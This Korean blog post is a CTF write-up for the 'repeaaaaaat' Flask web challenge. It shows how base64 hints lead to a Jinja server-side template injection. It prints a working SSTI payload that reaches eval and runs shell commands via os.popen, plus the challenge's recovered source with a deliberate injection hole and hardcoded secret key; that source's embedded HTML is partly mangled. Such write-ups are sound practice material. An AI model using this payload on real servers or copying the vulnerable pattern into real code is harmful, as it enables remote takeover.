Notice
Recent Posts
Recent Comments
Link
«   2024/12   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30 31
Archives
Today
Total
관리 메뉴

White Security

repeaaaaaat 문제풀이 본문

CTF Writups

repeaaaaaat 문제풀이

POSIX 2019. 4. 3. 16:40

 

Encrypt CTF web 4번

Flask SSTI 문제입니다.

 

 

사이트에 접속하면 푸른 아이콘들이 보이는데

스크롤을 내리려고 하면 이미지가 계속적으로 증가하기에

하단 내용을 확인할 수 없도록 되어 있습니다.

 

 

소스를 확인하면 스크롤시 이미지 증식 기능을 구현하는

자바스크립트 코드와 하단에 base64로 인코딩된 주석문이 보입니다.

 

d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK
L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==
Lz9zZWNyZXQ9ZmxhZw==
what_are_you_searching_for
/lol_no_one_will_see_whats_here
/?secret=flag

 

주석은 새로고침을 할 때마다 랜덤으로 바뀌는데

디코딩 해보면 페이지의 파라미터 힌트가 주어집니다.

 

http://104.154.106.182:5050/?secret=posix.tistory.com

 

입력된 값이 특별한 필터링 절차없이

그대로 페이지에 추가되는 것을 보고

바로 SSTI 기법을 떠올릴 수 있었습니다.

 

104.154.106.182:5050/?secret={{7*7}}

 

추측대로 Jinja 기반의 SSTI가 가능하다는 것을 확인할 수 있었는데

 

 

서버 엔진은 응답헤더에서 확인할 수 있는 정보입니다.

 

{% for c in [].__class__.__base__.__subclasses__() %}
	{% if c.__name__ == 'catch_warnings' %}
			{% for b in c.__init__.__globals__.values() %}
				{% if b.__class__ == {}.__class__ %}
					{% if 'eval' in b.keys() %}
						{{b['eval']("__import__('os').popen(__import__('base64').urlsafe_b64decode('bHM=').decode()).read()")}}
					{% endif %}
				{% endif %}
			{% endfor %}
	{% endif %}
{% endfor %}

 

위 페이로드를 URI 인코딩하여 삽입하는 것으로

RCE 가 가능했습니다.

bHM= 은 ls 를 base64 인코딩한 문자열 입니다.

 

 

cat flag.txt 명령어를 사용해 주면 플래그를 확인할 수 있습니다.

아래는 동일 취약점을 통해 얻어낸 페이지 소스로

참고를 위해 올립니다.

 

from flask import Flask, render_template, request, render_template_string
import random

app = Flask(__name__)

app.secret_key = "cf49d97a5680998cbddbee283eeb03adbeda772b"

@app.route("/lol_no_one_will_see_whats_here")
def troll1():
    return render_template("troll1.html")

@app.route("/what_are_you_searching_for")
def troll2():
    return render_template("troll2.html")

@app.route("/", methods=["GET"])
def inject():
    hints = ["Lz9zZWNyZXQ9ZmxhZw==", "L2xvbF9ub19vbmVfd2lsbF9zZWVfd2hhdHNfaGVyZQ==", 
             "d2hhdF9hcmVfeW91X3NlYXJjaGluZ19mb3IK"];
    hint = hints[random.randint(0, len(hints)-1)]
    secret = request.args.get("secret", default="")
    template = """


    
    repeaaaaaat
    
      SCRIPT
      
        
        function repeat() {
            for(var i=0; i<10; i++) {
            lol = document.createElement("img")
            lol.src = "/static/lol.png"
            var shit = document.getElementById(shit')
            shit.appendChild(lol)
            }
        }
    
      
    Hello,             %s """ % (secret, hint) return render_template_string(template) if __name__ == "__main__": app.run(debug=True)

'CTF Writups' 카테고리의 다른 글

ByteBandits CTF - EasyPHP 문제풀이  (0) 2019.04.14
Marcodowno 문제풀이  (0) 2019.04.06
Sweet 문제풀이  (0) 2019.04.03
Portfolio 문제풀이  (0) 2019.04.01
Wrestler Name Generator 문제풀이  (0) 2019.03.31
Comments